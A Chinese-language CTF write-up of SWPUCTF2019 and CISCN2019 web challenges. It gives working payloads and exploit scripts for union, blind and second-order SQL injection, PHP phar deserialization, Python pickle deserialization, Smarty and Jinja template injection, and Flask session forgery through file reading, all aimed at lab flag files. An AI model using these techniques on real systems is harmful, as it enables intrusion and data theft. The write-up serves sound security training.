前言 CISCN2019-web复现
正文 SWPUCTF2019[web1] 考点:union注入,information_schema绕过,无列名注入
注册个账号进入
在发布广告出发现漏洞的触发点
尝试union注入,此处空格被过滤,使用/**/
绕过
1 -1 '/**/union/**/select/**/1,2,3/**/'
此时报错
这时候去尝试添加列数,添加至22列时,注入成功
1 1 '/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
注数据库
1 1 '/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
在注表名时,information_schema被过滤,参考:https://www.anquanke.com/post/id/193512
1 2 3 -1 'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum ns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 ,19,20,21,22/**/'
BUU的环境是没有这个sys.schema_auto_increment_columns
这个表的,mysql版本不对吧。这里可以盲猜数据表为users
这里使用无列名注入
1 -1 '/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
1 -1 '/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
参考:sql注入(利用join进行无列名注入) - GHD丶 - 博客园
[CISCN2019 华北赛区 Day1 Web5]CyberPunk 考点:phar反序列化,文件读取漏洞
注释里提示可以使用文件读取,这里使用伪协议获得源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 <?php ini_set('open_basedir' , '/var/www/html/' ); $file = (isset ($_GET['file' ]) ? $_GET['file' ] : null ); if (isset ($file)){ if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i" ,$file)) { echo ('no way!' ); exit ; } @include ($file); } ?> <?php require_once "config.php" ; if (!empty ($_POST["user_name" ]) && !empty ($_POST["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST["user_name" ]; $phone = $_POST["phone" ]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'" ; $fetch = $db->query($sql); } if (isset ($fetch) && $fetch->num_rows>0 ){ $row = $fetch->fetch_assoc(); if (!$row) { echo 'error' ; print_r($db->error); exit ; } $msg = "<p>姓名:" .$row['user_name' ]."</p><p>, 电话:" .$row['phone' ]."</p><p>, 地址:" .$row['address' ]."</p>" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <?php require_once "config.php" ;if (!empty ($_POST["user_name" ]) && !empty ($_POST["address" ]) && !empty ($_POST["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST["user_name" ]; $address = addslashes($_POST["address" ]); $phone = $_POST["phone" ]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'" ; $fetch = $db->query($sql); } if (isset ($fetch) && $fetch->num_rows>0 ){ $row = $fetch->fetch_assoc(); $sql = "update `user` set `address`='" .$address."', `old_address`='" .$row['address' ]."' where `user_id`=" .$row['user_id' ]; $result = $db->query($sql); if (!$result) { echo 'error' ; print_r($db->error); exit ; } $msg = "订单修改成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <?php require_once "config.php" ;if (!empty ($_POST["user_name" ]) && !empty ($_POST["phone" ])){ $msg = '' ; $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i' ; $user_name = $_POST["user_name" ]; $phone = $_POST["phone" ]; if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ $msg = 'no sql inject!' ; }else { $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'" ; $fetch = $db->query($sql); } if (isset ($fetch) && $fetch->num_rows>0 ){ $row = $fetch->fetch_assoc(); $result = $db->query('delete from `user` where `user_id`=' . $row["user_id" ]); if (!$result) { echo 'error' ; print_r($db->error); exit ; } $msg = "订单删除成功" ; } else { $msg = "未找到订单!" ; } }else { $msg = "信息不全" ; } ?> <?php ini_set("open_basedir" , getcwd() . ":/etc:/tmp" ); $DATABASE = array ( "host" => "127.0.0.1" , "username" => "root" , "password" => "root" , "dbname" =>"ctfusers" ); $db = new mysqli($DATABASE['host' ],$DATABASE['username' ],$DATABASE['password' ],$DATABASE['dbname' ]);
delete.php
还有search.php
这里对参数都有严格的过滤,所以没法进行注入
在change.php中有一个address参数未对其过滤,但是有对其进行转义处理
1 $address = addslashes($_POST["address" ]);
这里存在一个二次注入
第一次填写修改地址的时候,会把地址存入数据库,第二次修改地址时,第一次的地址将会作为old_address
出现
1 $sql = "update `user` set `address`='" .$address."', `old_address`='" .$row['address' ]."' where `user_id`=" .$row['user_id' ];
exp如下:
1 1 ' where user_id=updatexml(1,concat(0x7e,(select substr(load_file(' /flag.txt'),1,20)),0x7e),1)#
提交一个订单
第一次修改地址,附上payload
第二次修改地址,就可以获得flag
load_file()
的长度不够,所以分两次读取,第二次重复此操作就好,payload如下:
1 1 ' where user_id=updatexml(1,concat(0x7e,(select substr(load_file(' /flag.txt'),20,40)),0x7e),1)#
[CISCN2019 华北赛区 Day1 Web1]Dropbox 这一题,我们通过文件读取漏洞可以读到所有的源码
注册登录后,到下载页面
在下载处可以下载文件
获得所有的文件
审计代码,在download.php
和delete.php
,中均有触发phar反序列化漏洞
的代码
均调用了$file->open($filename)
1 2 3 4 5 6 7 8 public function open ($filename) { $this ->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true ; } else { return false ; } }
其中is_dir()
可触发phar反序列化漏洞
然后调用链看到class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 <?php error_reporting(0 ); $dbaddr = "127.0.0.1" ; $dbuser = "root" ; $dbpass = "root" ; $dbname = "dropbox" ; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct () { global $db; $this ->db = $db; } public function user_exist ($username) { $stmt = $this ->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" ); $stmt->bind_param("s" , $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0 ) { return false ; } return true ; } public function add_user ($username, $password) { if ($this ->user_exist($username)) { return false ; } $password = sha1($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" ); $stmt->bind_param("ss" , $username, $password); $stmt->execute(); return true ; } public function verify_user ($username, $password) { if (!$this ->user_exist($username)) { return false ; } $password = sha1($password . "SiAchGHmFx" ); $stmt = $this ->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;" ); $stmt->bind_param("s" , $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset ($expect) && $expect === $password) { return true ; } return false ; } public function __destruct () { $this ->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct ($path) { $this ->files = array (); $this ->results = array (); $this ->funcs = array (); $filenames = scandir($path); $key = array_search("." , $filenames); unset ($filenames[$key]); $key = array_search(".." , $filenames); unset ($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this ->files, $file); $this ->results[$file->name()] = array (); } } public function __call ($func, $args) { array_push($this ->funcs, $func); foreach ($this ->files as $file) { $this ->results[$file->name()][$func] = $file->$func(); } } public function __destruct () { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">' ; $table .= '<thead><tr>' ; foreach ($this ->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>' ; } $table .= '<th scope="col" class="text-center">Opt</th>' ; $table .= '</thead><tbody>' ; foreach ($this ->results as $filename => $result) { $table .= '<tr>' ; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>' ; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>' ; $table .= '</tr>' ; } echo $table; } } class File { public $filename; public function open ($filename) { $this ->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true ; } else { return false ; } } public function name () { return basename($this ->filename); } public function size () { $size = filesize($this ->filename); $units = array (' B' , ' KB' , ' MB' , ' GB' , ' TB' ); for ($i = 0 ; $size >= 1024 && $i < 4 ; $i++) $size /= 1024 ; return round($size, 2 ).$units[$i]; } public function detele () { unlink($this ->filename); } public function close () { return file_get_contents($this ->filename); } } ?>
在File类
中看到了close()
1 2 3 public function close () { return file_get_contents($this ->filename); }
这里可以做文件读取,读取文件/flag.txt
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php class User { public $db; } class File { public $filename; } class FileList { private $files; public function __construct () { $file = new File(); $file->filename = "/flag.txt" ; $this ->files = array ($file); } } $a = new User(); $a->db = new FileList(); $phar = new Phar("phar.phar" ); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>" ); $o = new User(); $o->db = new FileList(); $phar->setMetadata($a); $phar->addFromString("exp.txt" , "test" ); $phar->stopBuffering(); ?>
解释一下:
1 2 $a = new User(); $a->db = new FileList();
此时在$a
中执行
1 2 3 public function __destruct () { $this ->db->close(); }
由于FileList类
中没有close()
方法,所以这时候将会调用该类中的_call()
1 2 3 4 5 6 public function __call ($func, $args) { array_push($this ->funcs, $func); foreach ($this ->files as $file) { $this ->results[$file->name()][$func] = $file->$func(); } }
该函数,就是遍历$files
中的元素指定为$file
,把在该类中不存在的方法$func
在$file
中调用
根据exp,即调用$file = new File();$this->results[File][close] = $file->close();
调用:
1 2 3 public function close () { return file_get_contents($this ->filename); }
读到flag。
[CISCN2019 华北赛区 Day1 Web2]ikun
题目提示要买lv6
选项很多,不知道lv6
在哪儿
写个脚本爆破
1 2 3 4 5 6 7 8 9 10 11 import requestsurl = "http://ca99e050-50bd-40c0-a6b4-413286d31bb6.node3.buuoj.cn/shop?page={}" for i in range(1 ,1000 ): re = requests.get(url.format(str(i))) if 'lv6.png' in re.text: print("----------------------------" ) print(i) print("----------------------------" ) else : print("no {}" .format(str(i)))
在181页
购买这个项目,然后到购买页面
这里有需要打折扣,抓包修改折扣。
上面的JWT爆破一下,获得秘钥。
然后修改一下这个JWT
抓包,改JWT,然后到这个页面。
在源码中发现信息
下载源码
反序列化的内容参考:https://blog.csdn.net/qq_26406447/article/details/91964502
运行:
1 2 3 4 5 6 7 8 9 10 import pickleimport urllibclass payload (object) : def __reduce__ (self) : return (eval, ("open('/flag.txt','r').read()" ,)) a = pickle.dumps(payload()) a = urllib.quote(a) print a
[CISCN2019 总决赛 Day2 Web1]Easyweb 考察:php短标签,sql注入,文件泄露
存在robots.txt,里面提示有php.bak
,尝试后发现image.php.bak
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php include "config.php" ;$id=isset ($_GET["id" ])?$_GET["id" ]:"1" ; $path=isset ($_GET["path" ])?$_GET["path" ]:"" ; $id=addslashes($id); $path=addslashes($path); $id=str_replace(array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$id); $path=str_replace(array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$path); $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'" ); select * from images where id = '\\\0' or path = '' $row=mysqli_fetch_array($result,MYSQLI_ASSOC); $path="./" . $row["path" ]; header("Content-Type: image/jpeg" ); readfile($path);
关键代码:
1 2 3 4 5 $id=addslashes($id); $path=addslashes($path); $id=str_replace(array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$id); $path=str_replace(array ("\\0" ,"%00" ,"\\'" ,"'" ),"" ,$path);
然后根据
1 $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'" );
我们可以构造如下:
1 select * from images where id='\' or path=' or 1=1 #'
然后构造payload:
1 ?id=\0'&path = or 1=1%23
编写exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import requestsurl = "http://9de73950-2d86-4eec-b3bc-3f2c64462a53.node3.buuoj.cn/image.php?id=\\0&path=" payload = "or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23" result = "" for i in range(1 ,100 ): l = 1 r = 130 mid = (l + r)>>1 while (l<r): payloads = payload.format(i,mid) print(url+payloads) html = requests.get(url+payloads) if "JFIF" in html.text: l = mid +1 else : r = mid mid = (l + r)>>1 result+=chr(mid) print(result)
username:admin
password:ec1e34b7ba2d156e13c7
因为不允许上传带php的文件名,我们用php短标签来绕过
然后连接antsword获得flag
[CISCN2019 华东南赛区]Web11 考察:smarty-ssti
这里的IP提示我们修改X-Forwarded-For
这里存在SSTI
然后提示有说到这是smarty
模块,所以查看版本
版本是3.1.30
然后这个版本存在漏洞,{if }{/if}
可以执行php代码
1 {if readfile('/flag' )}{/if }
获得flag
[CISCN2019 华东南赛区]Double Secret 考点:SSTI
随便输点东西,出现报错,考虑到可能有SSTI.
顺带爆出源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 return s secret=request.args.get('secret' ) if (secret==None ): return 'Tell me your secret.I will encrypt it so others can\'t see' rc=rc4_Modified.RC4("HereIsTreasure" ) deS=rc.do_crypt(secret) a=render_template_string(safe(deS)) if 'ciscn' in a.lower(): return 'flag detected!'
https://www.cnblogs.com/nongchaoer/p/12431229.html
render_template_string
对渲染函数可以触发SSTI
注入的内容是payload经过加密的结果
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requestsimport urllibclass RC4 : def __init__ (self, key) : self.key = key self.key_length = len(key) self._init_S_box() def _init_S_box (self) : self.Box = [i for i in range(256 )] k = [self.key[i % self.key_length] for i in range(256 )] j = 0 for i in range(256 ): j = (j + self.Box[i] + ord(k[i])) % 256 self.Box[i], self.Box[j] = self.Box[j], self.Box[i] def crypt (self, plaintext) : i = 0 j = 0 result = '' for ch in plaintext: i = (i + 1 ) % 256 j = (j + self.Box[i]) % 256 self.Box[i], self.Box[j] = self.Box[j], self.Box[i] t = (self.Box[i] + self.Box[j]) % 256 result += chr(self.Box[t] ^ ord(ch)) return result url='http://879dd696-7b30-4746-99a0-c12f8ed23937.node3.buuoj.cn/secret?secret=' a = RC4('HereIsTreasure' ) cmd="{{''.__class__.__mro__[2].__subclasses__()[40]('/flag.txt').read()}}" payload = urllib.parse.quote(a.crypt(cmd)) res = requests.get(url + payload) print(res.text)
[CISCN2019 华东南赛区]Web4
然后我们Read somethings
,然后这里的url如下:
1 http://219b4ebc-7e98-44b9-bad5-bd300c115f88.node3.buuoj.cn/read?url=http://xxxxx
这里存在文件读取漏洞
1 http://web55.buuoj.cn/read?url=app.py 读源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import re, random, uuid, urllibfrom flask import Flask, session, requestapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str(random.random()*233 ) app.debug = True @app.route('/') def index () : session['username' ] = 'www-data' return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>' @app.route('/read') def read () : try : url = request.args.get('url' ) m = re.findall('^file.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str(ex) return 'no response' @app.route('/flag') def flag () : if session and session['username' ] == 'fuck' : return open('/flag.txt' ).read() else : return 'Access denied' if __name__=='__main__' : app.run( debug=True , host="0.0.0.0" )
解释一下:/flag
读flag的方法是要session['username'] == 'fuck'
关键代码:
1 2 3 random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str(random.random()*233 ) app.debug = True
这个随机数的种子是机器的mac地址
1 ?url=/sys/class/net/eth0/address
exp:https://github.com/glzjin/CISCN_2019_southeastern_China_web4/tree/master/exp
用于破解随机数,生成新的session
访问/flag
,替换原有session,获得flag